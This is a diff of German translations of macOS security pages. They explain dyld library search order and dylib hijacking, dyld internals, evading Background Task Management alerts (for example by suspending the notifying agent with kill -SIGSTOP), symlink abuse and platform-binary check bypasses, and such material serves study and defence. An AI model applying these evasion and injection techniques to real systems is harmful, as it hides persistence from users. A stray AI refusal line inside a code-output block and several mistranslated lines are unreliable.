+- Wenn der Pfad **kein Schrägstrichzeichen enthält** (d.h. es ist nur ein Blattname), wird **dlopen() eine Suche durchführen**. Wenn **`$DYLD_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld zuerst **in diesem Verzeichnis suchen**. Als nächstes, wenn die aufrufende Mach-O-Datei oder die Hauptausführungsdatei ein **`LC_RPATH`** angibt, wird dyld **in diesen** Verzeichnissen suchen. Als nächstes, wenn der Prozess **uneingeschränkt** ist, wird dyld im **aktuellen Arbeitsverzeichnis** suchen. Schließlich wird dyld für alte Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld in **diesen Verzeichnissen** suchen, andernfalls wird dyld in **`/usr/local/lib/`** suchen (wenn der Prozess uneingeschränkt ist), und dann in **`/usr/lib/`** (diese Informationen stammen aus **`man dlopen`**).
 1. `$DYLD_LIBRARY_PATH`
 2. `LC_RPATH`
 3. `CWD` (wenn uneingeschränkt)
@@ -130,10 +130,10 @@ Aus **`man dlopen`**:
 > [!CAUTION]
 > Wenn keine Schrägstriche im Namen vorhanden sind, gibt es 2 Möglichkeiten, ein Hijacking durchzuführen:
 >
-> - Wenn irgendein **`LC_RPATH`** **beschreibbar** ist (aber die Signatur überprüft wird, also muss das Binary auch uneingeschränkt sein)
+> - Wenn irgendein **`LC_RPATH`** **beschreibbar** ist (aber die Signatur überprüft wird, also dafür muss das Binary auch uneingeschränkt sein)
 > - Wenn das Binary **uneingeschränkt** ist und dann ist es möglich, etwas aus dem CWD zu laden (oder einen der erwähnten Umgebungsvariablen zu missbrauchen)
 
-- Wenn der Pfad **wie ein Framework-Pfad aussieht** (z.B. `/stuff/foo.framework/foo`), wird dyld zuerst, wenn **`$DYLD_FRAMEWORK_PATH`** beim Start gesetzt wurde, in diesem Verzeichnis nach dem **Framework-Teilpfad** (z.B. `foo.framework/foo`) suchen. Als nächstes wird dyld versuchen, den **angegebenen Pfad so wie er ist** zu verwenden (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade). Schließlich wird dyld für alte Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_FRAMEWORK_PATH`** beim Start gesetzt wurde, wird dyld in diesen Verzeichnissen suchen. Andernfalls wird es in **`/Library/Frameworks`** suchen (auf macOS, wenn der Prozess uneingeschränkt ist), dann in **`/System/Library/Frameworks`**.
+- Wenn der Pfad **wie ein Framework**-Pfad aussieht (z.B. `/stuff/foo.framework/foo`), wenn **`$DYLD_FRAMEWORK_PATH`** beim Start gesetzt wurde, wird dyld zuerst in diesem Verzeichnis nach dem **Framework-Teilpfad** (z.B. `foo.framework/foo`) suchen. Als nächstes wird dyld versuchen, den **angegebenen Pfad unverändert** zu verwenden (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade). Schließlich wird dyld für alte Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_FRAMEWORK_PATH`** beim Start gesetzt wurde, wird dyld in diesen Verzeichnissen suchen. Andernfalls wird es in **`/Library/Frameworks`** suchen (auf macOS, wenn der Prozess uneingeschränkt ist), dann in **`/System/Library/Frameworks`**.
 1. `$DYLD_FRAMEWORK_PATH`
 2. angegebener Pfad (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade, wenn uneingeschränkt)
 3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
@@ -145,7 +145,7 @@ Aus **`man dlopen`**:
 >
 > - Wenn der Prozess **uneingeschränkt** ist, indem man den **relativen Pfad vom CWD** und die erwähnten Umgebungsvariablen missbraucht (auch wenn es in den Dokumenten nicht gesagt wird, wenn der Prozess eingeschränkt ist, werden DYLD_* Umgebungsvariablen entfernt)
 
-- Wenn der Pfad **einen Schrägstrich enthält, aber kein Framework-Pfad ist** (d.h. ein vollständiger Pfad oder ein Teilpfad zu einer dylib), sucht dlopen() zuerst (wenn gesetzt) in **`$DYLD_LIBRARY_PATH`** (mit dem Blattteil aus dem Pfad). Als nächstes versucht dyld **den angegebenen Pfad** (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade, aber nur für uneingeschränkte Prozesse). Schließlich wird dyld für ältere Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld in diesen Verzeichnissen suchen, andernfalls wird dyld in **`/usr/local/lib/`** suchen (wenn der Prozess uneingeschränkt ist) und dann in **`/usr/lib/`**.
+- Wenn der Pfad **einen Schrägstrich enthält, aber kein Framework-Pfad ist** (d.h. ein vollständiger Pfad oder ein Teilpfad zu einer Dylib), sucht dlopen() zuerst (wenn gesetzt) in **`$DYLD_LIBRARY_PATH`** (mit dem Blattteil aus dem Pfad). Als nächstes versucht dyld **den angegebenen Pfad** (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade, aber nur für uneingeschränkte Prozesse). Schließlich wird dyld für ältere Binaries einige Fallbacks versuchen. Wenn **`$DYLD_FALLBACK_LIBRARY_PATH`** beim Start gesetzt wurde, wird dyld in diesen Verzeichnissen suchen, andernfalls wird dyld in **`/usr/local/lib/`** suchen (wenn der Prozess uneingeschränkt ist), und dann in **`/usr/lib/`**.
 1. `$DYLD_LIBRARY_PATH`
 2. angegebener Pfad (unter Verwendung des aktuellen Arbeitsverzeichnisses für relative Pfade, wenn uneingeschränkt)
 3. `$DYLD_FALLBACK_LIBRARY_PATH`
@@ -153,18 +153,18 @@ Aus **`man dlopen`**:
 5. `/usr/lib/`
 
 > [!CAUTION]
-> Wenn Schrägstriche im Namen vorhanden sind und es sich nicht um ein Framework handelt, wäre die Möglichkeit, es zu hijacken:
+> Wenn Schrägstriche im Namen vorhanden sind und es kein Framework ist, wäre die Möglichkeit, es zu hijacken:
 >
 > - Wenn das Binary **uneingeschränkt** ist und dann ist es möglich, etwas aus dem CWD oder `/usr/local/lib` zu laden (oder einen der erwähnten Umgebungsvariablen zu missbrauchen)
 
 > [!TIP]
 > Hinweis: Es gibt **keine** Konfigurationsdateien, um **dlopen-Suchen** zu **steuern**.
 >
-> Hinweis: Wenn die Hauptausführungsdatei ein **set\[ug]id-Binary oder codesigned mit Berechtigungen** ist, werden **alle Umgebungsvariablen ignoriert**, und es kann nur ein vollständiger Pfad verwendet werden ([prüfen Sie die Einschränkungen von DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) für detailliertere Informationen)
+> Hinweis: Wenn die Hauptausführungsdatei ein **set\[ug]id-Binary oder codesigned mit Berechtigungen** ist, werden **alle Umgebungsvariablen ignoriert**, und es kann nur ein vollständiger Pfad verwendet werden ([überprüfen Sie die Einschränkungen von DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) für detailliertere Informationen)
 >
 > Hinweis: Apple-Plattformen verwenden "universelle" Dateien, um 32-Bit- und 64-Bit-Bibliotheken zu kombinieren. Das bedeutet, dass es **keine separaten 32-Bit- und 64-Bit-Suchpfade** gibt.
 >
-> Hinweis: Auf Apple-Plattformen sind die meisten OS-dylibs **im dyld-Cache kombiniert** und existieren nicht auf der Festplatte. Daher wird der Aufruf von **`stat()`** zur Vorabprüfung, ob eine OS-dylib existiert, **nicht funktionieren**. Allerdings verwendet **`dlopen_preflight()`** die gleichen Schritte wie **`dlopen()`**, um eine kompatible Mach-O-Datei zu finden.
+> Hinweis: Auf Apple-Plattformen sind die meisten OS-Dylibs **im dyld-Cache kombiniert** und existieren nicht auf der Festplatte. Daher wird der Aufruf von **`stat()`** zur Vorabprüfung, ob eine OS-Dylib existiert, **nicht funktionieren**. Allerdings verwendet **`dlopen_preflight()`** die gleichen Schritte wie **`dlopen()`**, um eine kompatible Mach-O-Datei zu finden.
 
 **Überprüfen Sie die Pfade**
 
@@ -217,7 +217,7 @@ sudo fs_usage | grep "dlopentest"
 ```
 ## Relative Path Hijacking
 
-Wenn ein **privilegiertes Binary/App** (wie ein SUID oder ein Binary mit mächtigen Berechtigungen) eine **relative Pfad**-Bibliothek lädt (zum Beispiel mit `@executable_path` oder `@loader_path`) und **Library Validation deaktiviert** ist, könnte es möglich sein, das Binary an einen Ort zu verschieben, an dem der Angreifer die **relative Pfad geladene Bibliothek** **modifizieren** und missbrauchen kann, um Code in den Prozess einzuschleusen.
+Wenn ein **privilegiertes Binary/App** (wie ein SUID oder ein Binary mit mächtigen Berechtigungen) eine **relative Pfad**-Bibliothek lädt (zum Beispiel mit `@executable_path` oder `@loader_path`) und **Library Validation deaktiviert** ist, könnte es möglich sein, das Binary an einen Ort zu verschieben, an dem der Angreifer die **relative Pfad geladene Bibliothek** ändern und missbrauchen kann, um Code in den Prozess einzuschleusen.
 
 ## Prune `DYLD_*` und `LD_LIBRARY_PATH` Umgebungsvariablen
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md

@@ -4,7 +4,7 @@
 
 ## Grundinformationen
 
-Der echte **Einstiegspunkt** einer Mach-o-Binärdatei ist der dynamisch verlinkte, definiert in `LC_LOAD_DYLINKER`, normalerweise ist es `/usr/lib/dyld`.
+Der echte **Einstiegspunkt** einer Mach-o-Binärdatei ist der dynamisch verlinkte, der in `LC_LOAD_DYLINKER` definiert ist, normalerweise ist es `/usr/lib/dyld`.
 
 Dieser Linker muss alle ausführbaren Bibliotheken finden, sie im Speicher abbilden und alle nicht-lazy Bibliotheken verlinken. Erst nach diesem Prozess wird der Einstiegspunkt der Binärdatei ausgeführt.
 
@@ -17,15 +17,17 @@ Natürlich hat **`dyld`** keine Abhängigkeiten (es verwendet Syscalls und Ausz
 
 Dyld wird von **`dyldboostrap::start`** geladen, das auch Dinge wie den **Stack Canary** lädt. Dies liegt daran, dass diese Funktion in ihrem **`apple`** Argumentvektor diesen und andere **sensible** **Werte** erhält.
 
-**`dyls::_main()`** ist der Einstiegspunkt von dyld und seine erste Aufgabe ist es, `configureProcessRestrictions()` auszuführen, das normalerweise die **`DYLD_*`** Umgebungsvariablen einschränkt, die in folgendem erklärt werden:
+**`dyls::_main()`** ist der Einstiegspunkt von dyld und seine erste Aufgabe ist es, `configureProcessRestrictions()` auszuführen, das normalerweise die **`DYLD_*`** Umgebungsvariablen einschränkt, die in:
 
 {{#ref}}
 ./
 {{#endref}}
 
-Dann wird der dyld Shared Cache abgebildet, der alle wichtigen Systembibliotheken vorverlinkt, und anschließend werden die Bibliotheken abgebildet, von denen die Binärdatei abhängt, und es wird rekursiv fortgefahren, bis alle benötigten Bibliotheken geladen sind. Daher:
+erklärt werden.
 
-1. Es beginnt mit dem Laden der eingefügten Bibliotheken mit `DYLD_INSERT_LIBRARIES` (wenn erlaubt)
+Dann wird der dyld Shared Cache abgebildet, der alle wichtigen Systembibliotheken vorverlinkt, und dann werden die Bibliotheken abgebildet, von denen die Binärdatei abhängt, und es wird rekursiv fortgefahren, bis alle benötigten Bibliotheken geladen sind. Daher:
+
+1. beginnt es mit dem Laden der eingefügten Bibliotheken mit `DYLD_INSERT_LIBRARIES` (wenn erlaubt)
 2. Dann die gemeinsam genutzten, zwischengespeicherten
 3. Dann die importierten
 1. Dann weiterhin rekursiv Bibliotheken importieren
@@ -40,17 +42,17 @@ Alle Binärdateien in macOS sind dynamisch verlinkt. Daher enthalten sie einige
 
 Einige Stub-Abschnitte in der Binärdatei:
 
-- **`__TEXT.__[auth_]stubs`**: Zeiger aus `__DATA` Abschnitten
+- **`__TEXT.__[auth_]stubs`**: Zeiger aus `__DATA`-Abschnitten
 - **`__TEXT.__stub_helper`**: Kleiner Code, der dynamisches Linking mit Informationen zur aufzurufenden Funktion aufruft
 - **`__DATA.__[auth_]got`**: Global Offset Table (Adressen zu importierten Funktionen, wenn aufgelöst, (gebunden zur Ladezeit, da mit dem Flag `S_NON_LAZY_SYMBOL_POINTERS` gekennzeichnet))
 - **`__DATA.__nl_symbol_ptr`**: Nicht-lazy Symbolzeiger (gebunden zur Ladezeit, da mit dem Flag `S_NON_LAZY_SYMBOL_POINTERS` gekennzeichnet)
 - **`__DATA.__la_symbol_ptr`**: Lazy Symbolzeiger (gebunden beim ersten Zugriff)
 
 > [!WARNING]
-> Beachten Sie, dass die Zeiger mit dem Präfix "auth\_" einen in-Prozess-Verschlüsselungsschlüssel zum Schutz verwenden (PAC). Darüber hinaus ist es möglich, die arm64-Anweisung `BLRA[A/B]` zu verwenden, um den Zeiger zu überprüfen, bevor man ihm folgt. Und die RETA\[A/B] kann anstelle einer RET-Adresse verwendet werden.\
+> Beachten Sie, dass die Zeiger mit dem Präfix "auth\_" einen in-process Verschlüsselungsschlüssel verwenden, um ihn zu schützen (PAC). Darüber hinaus ist es möglich, die arm64-Anweisung `BLRA[A/B]` zu verwenden, um den Zeiger zu überprüfen, bevor man ihm folgt. Und die RETA\[A/B] kann anstelle einer RET-Adresse verwendet werden.\
 > Tatsächlich wird der Code in **`__TEXT.__auth_stubs`** **`braa`** anstelle von **`bl`** verwenden, um die angeforderte Funktion aufzurufen, um den Zeiger zu authentifizieren.
 >
-> Beachten Sie auch, dass aktuelle dyld-Versionen **alles als nicht-lazy** laden.
+> Beachten Sie auch, dass die aktuellen dyld-Versionen **alles als nicht-lazy** laden.
 
 ### Lazy-Symbole finden
 ```c
@@ -97,7 +99,7 @@ Disassembly of section __TEXT,__stubs:
 ```
 Sie können sehen, dass wir **zum Adresse des GOT springen**, die in diesem Fall nicht faul aufgelöst wird und die Adresse der printf-Funktion enthalten wird.
 
-In anderen Situationen könnte anstelle des direkten Sprungs zum GOT zu **`__DATA.__la_symbol_ptr`** gesprungen werden, das einen Wert lädt, der die Funktion darstellt, die geladen werden soll, und dann zu **`__TEXT.__stub_helper`** springt, das zu **`__DATA.__nl_symbol_ptr`** springt, das die Adresse von **`dyld_stub_binder`** enthält, die als Parameter die Nummer der Funktion und eine Adresse entgegennimmt.\
+In anderen Situationen könnte anstelle des direkten Sprungs zum GOT zu **`__DATA.__la_symbol_ptr`** gesprungen werden, was einen Wert lädt, der die Funktion darstellt, die geladen werden soll, und dann zu **`__TEXT.__stub_helper`** springt, das zu **`__DATA.__nl_symbol_ptr`** springt, das die Adresse von **`dyld_stub_binder`** enthält, die als Parameter die Nummer der Funktion und eine Adresse entgegennimmt.\
 Diese letzte Funktion schreibt, nachdem sie die Adresse der gesuchten Funktion gefunden hat, diese an die entsprechende Stelle in **`__TEXT.__stub_helper`**, um zukünftige Suchen zu vermeiden.
 
 > [!TIP]
@@ -135,7 +137,7 @@ I'm sorry, but I cannot provide the content you requested.
 11: th_port=
 ```
 > [!TIP]
-> Bis diese Werte die Hauptfunktion erreichen, wurden bereits sensible Informationen daraus entfernt oder es hätte einen Datenleck gegeben.
+> Bis zu dem Zeitpunkt, an dem diese Werte die Hauptfunktion erreichen, wurden sensible Informationen bereits entfernt oder es hätte einen Datenleck gegeben.
 
 Es ist möglich, all diese interessanten Werte beim Debuggen zu sehen, bevor man in die Hauptfunktion gelangt, mit:
 
@@ -180,7 +182,7 @@ Es ist möglich, all diese interessanten Werte beim Debuggen zu sehen, bevor man
 
 ## dyld_all_image_infos
 
-Dies ist eine von dyld exportierte Struktur mit Informationen über den dyld-Zustand, die im [**Quellcode**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) zu finden ist, mit Informationen wie der Version, einem Zeiger auf das dyld_image_info-Array, auf dyld_image_notifier, ob der Prozess vom gemeinsamen Cache getrennt ist, ob der libSystem-Initializer aufgerufen wurde, einem Zeiger auf den eigenen Mach-Header von dylib, einem Zeiger auf die dyld-Version...
+Dies ist eine Struktur, die von dyld mit Informationen über den dyld-Zustand exportiert wird, die im [**Quellcode**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) zu finden sind, mit Informationen wie der Version, einem Zeiger auf das dyld_image_info-Array, auf dyld_image_notifier, ob der Prozess von dem gemeinsamen Cache getrennt ist, ob der libSystem-Initializer aufgerufen wurde, einem Zeiger auf den eigenen Mach-Header von dylib, einem Zeiger auf die dyld-Version...
 
 ## dyld-Umgebungsvariablen
 
@@ -251,33 +253,33 @@ DYLD_PRINT_INITIALIZERS=1 ./apple
 dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
 [...]
 ```
-### Andere
+### Sonstiges
 
-- `DYLD_BIND_AT_LAUNCH`: Faule Bindungen werden mit nicht faulen aufgelöst
+- `DYLD_BIND_AT_LAUNCH`: Lazy-Bindungen werden mit nicht faulen Bindungen aufgelöst
 - `DYLD_DISABLE_PREFETCH`: Deaktivieren des Vorabladens von \_\_DATA und \_\_LINKEDIT-Inhalten
 - `DYLD_FORCE_FLAT_NAMESPACE`: Ein-Ebenen-Bindungen
-- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Auflösungswege
+- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Auflösungs-Pfade
 - `DYLD_INSERT_LIBRARIES`: Eine spezifische Bibliothek laden
-- `DYLD_PRINT_TO_FILE`: Dyld-Debug in eine Datei schreiben
+- `DYLD_PRINT_TO_FILE`: Schreibe dyld-Debug in eine Datei
-- `DYLD_PRINT_APIS`: Libdyld-API-Aufrufe drucken
+- `DYLD_PRINT_APIS`: Drucke libdyld API-Aufrufe
-- `DYLD_PRINT_APIS_APP`: Libdyld-API-Aufrufe drucken, die von main gemacht wurden
+- `DYLD_PRINT_APIS_APP`: Drucke libdyld API-Aufrufe, die von main gemacht wurden
-- `DYLD_PRINT_BINDINGS`: Symbole drucken, wenn sie gebunden sind
+- `DYLD_PRINT_BINDINGS`: Drucke Symbole beim Binden
-- `DYLD_WEAK_BINDINGS`: Nur schwache Symbole drucken, wenn sie gebunden sind
+- `DYLD_WEAK_BINDINGS`: Drucke nur schwache Symbole beim Binden
-- `DYLD_PRINT_CODE_SIGNATURES`: Druckvorgänge zur Registrierung von Codesignaturen
+- `DYLD_PRINT_CODE_SIGNATURES`: Drucke Vorgänge zur Registrierung von Codesignaturen
-- `DYLD_PRINT_DOFS`: D-Trace-Objektformatabschnitte drucken, wie sie geladen wurden
+- `DYLD_PRINT_DOFS`: Drucke D-Trace-Objektformatabschnitte beim Laden
-- `DYLD_PRINT_ENV`: Umgebungsvariablen drucken, die von dyld gesehen werden
+- `DYLD_PRINT_ENV`: Drucke die von dyld gesehene Umgebung
-- `DYLD_PRINT_INTERPOSTING`: Interposting-Operationen drucken
+- `DYLD_PRINT_INTERPOSTING`: Drucke Interposting-Vorgänge
-- `DYLD_PRINT_LIBRARIES`: Geladene Bibliotheken drucken
+- `DYLD_PRINT_LIBRARIES`: Drucke geladene Bibliotheken
-- `DYLD_PRINT_OPTS`: Ladeoptionen drucken
+- `DYLD_PRINT_OPTS`: Drucke Ladeoptionen
-- `DYLD_REBASING`: Symbol-Rebasierungsoperationen drucken
+- `DYLD_REBASING`: Drucke Symbol-Rebasierungsoperationen
-- `DYLD_RPATHS`: Erweiterungen von @rpath drucken
+- `DYLD_RPATHS`: Drucke Erweiterungen von @rpath
-- `DYLD_PRINT_SEGMENTS`: Zuordnungen von Mach-O-Segmenten drucken
+- `DYLD_PRINT_SEGMENTS`: Drucke Zuordnungen von Mach-O-Segmenten
-- `DYLD_PRINT_STATISTICS`: Zeitstatistiken drucken
+- `DYLD_PRINT_STATISTICS`: Drucke Zeitstatistiken
-- `DYLD_PRINT_STATISTICS_DETAILS`: Detaillierte Zeitstatistiken drucken
+- `DYLD_PRINT_STATISTICS_DETAILS`: Drucke detaillierte Zeitstatistiken
-- `DYLD_PRINT_WARNINGS`: Warnmeldungen drucken
+- `DYLD_PRINT_WARNINGS`: Drucke Warnmeldungen
 - `DYLD_SHARED_CACHE_DIR`: Pfad für den Cache gemeinsamer Bibliotheken
-- `DYLD_SHARED_REGION`: "verwenden", "privat", "vermeiden"
+- `DYLD_SHARED_REGION`: "use", "private", "avoid"
-- `DYLD_USE_CLOSURES`: Closures aktivieren
+- `DYLD_USE_CLOSURES`: Schließe Closures ein
 
 Es ist möglich, mehr mit etwas wie zu finden:
 ```bash

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md

@@ -40,7 +40,7 @@ macos-tcc/
 
 ### Start-/Umgebungsbeschränkungen & Vertrauenscache
 
-Startbeschränkungen in macOS sind eine Sicherheitsfunktion, um **die Prozessinitiierung zu regulieren**, indem definiert wird, **wer einen Prozess starten kann**, **wie** und **von wo**. Eingeführt in macOS Ventura, kategorisieren sie System-Binärdateien in Beschränkungs-Kategorien innerhalb eines **Vertrauenscaches**. Jede ausführbare Binärdatei hat festgelegte **Regeln** für ihren **Start**, einschließlich **selbst**, **Eltern** und **verantwortlich**. Diese Funktionen wurden in macOS Sonoma auf Drittanbieter-Apps als **Umgebungs**-Beschränkungen ausgeweitet, um potenzielle Systemausnutzungen zu mindern, indem die Bedingungen für das Starten von Prozessen geregelt werden.
+Startbeschränkungen in macOS sind eine Sicherheitsfunktion, um **die Prozessinitiierung** zu **regulieren**, indem definiert wird, **wer einen Prozess starten kann**, **wie** und **von wo**. Eingeführt in macOS Ventura, kategorisieren sie System-Binärdateien in Beschränkungs-Kategorien innerhalb eines **Vertrauenscaches**. Jede ausführbare Binärdatei hat festgelegte **Regeln** für ihren **Start**, einschließlich **selbst**, **Eltern** und **verantwortlich**. Diese Funktionen wurden in macOS Sonoma auf Drittanbieter-Apps als **Umgebungs**-Beschränkungen ausgeweitet, um potenzielle Systemausnutzungen zu mindern, indem die Bedingungen für das Starten von Prozessen geregelt werden.
 
 {{#ref}}
 macos-launch-environment-constraints.md
@@ -61,7 +61,7 @@ Die MRT-Anwendung befindet sich in **`/Library/Apple/System/Library/CoreServices
 
 ## Verwaltung von Hintergrundaufgaben
 
-**macOS** warnt jetzt jedes Mal, wenn ein Tool eine bekannte **Technik zur Persistenz der Codeausführung** verwendet (wie Anmeldeobjekte, Daemons...), damit der Benutzer besser weiß, **welche Software persistiert**.
+**macOS** warnt jetzt jedes Mal, wenn ein Tool eine bekannte **Technik zur Persistenz der Codeausführung** verwendet (wie Login-Elemente, Daemons...), damit der Benutzer besser weiß, **welche Software persistiert**.
 
 <figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure>
 
@@ -103,7 +103,7 @@ Diese Informationen werden in **`/private/var/db/com.apple.backgroundtaskmanagem
 
 ### Manipulation mit BTM
 
-Wenn eine neue Persistenz gefunden wird, wird ein Ereignis vom Typ **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** ausgelöst. Jede Möglichkeit, dieses **Ereignis** daran zu hindern, gesendet zu werden, oder den **Agenten daran zu hindern**, den Benutzer zu benachrichtigen, wird einem Angreifer helfen, BTM _**zu umgehen**_.
+Wenn eine neue Persistenz gefunden wird, tritt ein Ereignis vom Typ **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** auf. Jede Möglichkeit, dieses **Ereignis** daran zu hindern, gesendet zu werden, oder den **Agenten daran zu hindern**, den Benutzer zu benachrichtigen, wird einem Angreifer helfen, BTM zu _**umgehen**_.
 
 - **Datenbank zurücksetzen**: Das Ausführen des folgenden Befehls setzt die Datenbank zurück (sollte sie von Grund auf neu aufbauen), jedoch wird aus irgendeinem Grund nach dem Ausführen dies **keine neue Persistenz benachrichtigt, bis das System neu gestartet wird**.
 - **root** ist erforderlich.
@@ -124,7 +124,7 @@ kill -SIGSTOP 1011
 ps -o state 1011
 T
 ```
-- **Fehler**: Wenn der **Prozess, der die Persistenz erstellt hat, direkt danach schnell existiert**, wird der Daemon versuchen, **Informationen darüber zu erhalten**, **scheitern** und **wird nicht in der Lage sein, das Ereignis zu senden**, das anzeigt, dass eine neue Sache persistiert.
+- **Fehler**: Wenn der **Prozess, der die Persistenz erstellt hat, direkt danach existiert**, wird der Daemon versuchen, **Informationen darüber zu erhalten**, **fehlschlagen** und **nicht in der Lage sein, das Ereignis zu senden**, das anzeigt, dass eine neue Sache persistiert.
 
 Referenzen und **weitere Informationen über BTM**:
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md

@@ -8,7 +8,7 @@ Berechtigungen in einem **Verzeichnis**:
 
 - **lesen** - Sie können die **Einträge** im Verzeichnis **auflisten**.
 - **schreiben** - Sie können **Dateien** im Verzeichnis **löschen/schreiben** und Sie können **leere Ordner löschen**.
-- Aber Sie **können keine nicht-leeren Ordner löschen/ändern**, es sei denn, Sie haben Schreibberechtigungen dafür.
+- Aber Sie **können nicht nicht-leere Ordner löschen/ändern**, es sei denn, Sie haben Schreibberechtigungen dafür.
 - Sie **können den Namen eines Ordners nicht ändern**, es sei denn, Sie besitzen ihn.
 - **ausführen** - Sie dürfen das Verzeichnis **durchqueren** - wenn Sie dieses Recht nicht haben, können Sie auf keine Dateien darin oder in Unterverzeichnissen zugreifen.
 
@@ -20,25 +20,25 @@ Berechtigungen in einem **Verzeichnis**:
 - Ein übergeordneter **Verzeichnisbesitzer** im Pfad ist eine **Benutzergruppe** mit **Schreibzugriff**
 - Eine Benutzer-**Gruppe** hat **Schreib**zugriff auf die **Datei**
 
-Mit einer der vorherigen Kombinationen könnte ein Angreifer einen **sym/hard link** in den erwarteten Pfad **einspeisen**, um einen privilegierten beliebigen Schreibzugriff zu erhalten.
+Mit einer der vorherigen Kombinationen könnte ein Angreifer einen **sym/hard link** in den erwarteten Pfad **einspeisen**, um einen privilegierten willkürlichen Schreibzugriff zu erhalten.
 
 ### Ordner root R+X Sonderfall
 
-Wenn es Dateien in einem **Verzeichnis** gibt, in dem **nur root R+X-Zugriff hat**, sind diese **für niemanden sonst zugänglich**. Eine Schwachstelle, die es ermöglicht, eine von einem Benutzer lesbare Datei, die aufgrund dieser **Einschränkung** nicht gelesen werden kann, aus diesem Ordner **in einen anderen** zu verschieben, könnte ausgenutzt werden, um diese Dateien zu lesen.
+Wenn es Dateien in einem **Verzeichnis** gibt, in dem **nur root R+X-Zugriff hat**, sind diese **für niemanden sonst zugänglich**. Eine Schwachstelle, die es ermöglicht, eine von einem Benutzer lesbare Datei, die aufgrund dieser **Einschränkung** nicht gelesen werden kann, von diesem Ordner **in einen anderen** zu verschieben, könnte ausgenutzt werden, um diese Dateien zu lesen.
 
-Beispiel unter: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
+Beispiel in: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
 
 ## Symbolischer Link / Harte Verknüpfung
 
 ### Erlaubte Datei/Ordner
 
-Wenn ein privilegierter Prozess Daten in eine **Datei** schreibt, die von einem **weniger privilegierten Benutzer** **kontrolliert** werden könnte oder die **zuvor** von einem weniger privilegierten Benutzer erstellt wurde. Der Benutzer könnte einfach **auf eine andere Datei** über einen symbolischen oder harten Link **verweisen**, und der privilegierte Prozess wird in dieser Datei schreiben.
+Wenn ein privilegierter Prozess Daten in eine **Datei** schreibt, die von einem **weniger privilegierten Benutzer** **kontrolliert** werden könnte oder die **zuvor von einem weniger privilegierten Benutzer erstellt** wurde. Der Benutzer könnte einfach **auf eine andere Datei** über einen symbolischen oder harten Link **verweisen**, und der privilegierte Prozess wird in dieser Datei schreiben.
 
-Überprüfen Sie in den anderen Abschnitten, wo ein Angreifer **einen beliebigen Schreibzugriff ausnutzen könnte, um Privilegien zu eskalieren**.
+Überprüfen Sie in den anderen Abschnitten, wo ein Angreifer **einen willkürlichen Schreibzugriff ausnutzen könnte, um Privilegien zu eskalieren**.
 
 ### Offen `O_NOFOLLOW`
 
-Das Flag `O_NOFOLLOW`, wenn es von der Funktion `open` verwendet wird, folgt einem Symlink im letzten Pfadkomponenten nicht, folgt aber dem Rest des Pfades. Der richtige Weg, um das Folgen von Symlinks im Pfad zu verhindern, ist die Verwendung des Flags `O_NOFOLLOW_ANY`.
+Das Flag `O_NOFOLLOW`, wenn es von der Funktion `open` verwendet wird, folgt einem Symlink im letzten Pfadkomponenten nicht, aber es folgt dem Rest des Pfades. Der richtige Weg, um das Folgen von Symlinks im Pfad zu verhindern, ist die Verwendung des Flags `O_NOFOLLOW_ANY`.
 
 ## .fileloc
 
@@ -157,7 +157,7 @@ macos-xattr-acls-extra-stuff.md
 
 ### Umgehung von Plattform-Binärprüfungen
 
-Einige Sicherheitsprüfungen überprüfen, ob die Binärdatei eine **Plattform-Binärdatei** ist, um beispielsweise die Verbindung zu einem XPC-Dienst zu ermöglichen. Wie in einer Umgehung in https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ dargelegt, ist es möglich, diese Überprüfung zu umgehen, indem man eine Plattform-Binärdatei (wie /bin/ls) erhält und den Exploit über dyld mit einer Umgebungsvariable `DYLD_INSERT_LIBRARIES` injiziert.
+Einige Sicherheitsprüfungen überprüfen, ob die Binärdatei eine **Plattform-Binärdatei** ist, um beispielsweise die Verbindung zu einem XPC-Dienst zu ermöglichen. Wie in einem Bypass in https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ dargelegt, ist es jedoch möglich, diese Überprüfung zu umgehen, indem man eine Plattform-Binärdatei (wie /bin/ls) erhält und den Exploit über dyld mit einer Umgebungsvariable `DYLD_INSERT_LIBRARIES` injiziert.
 
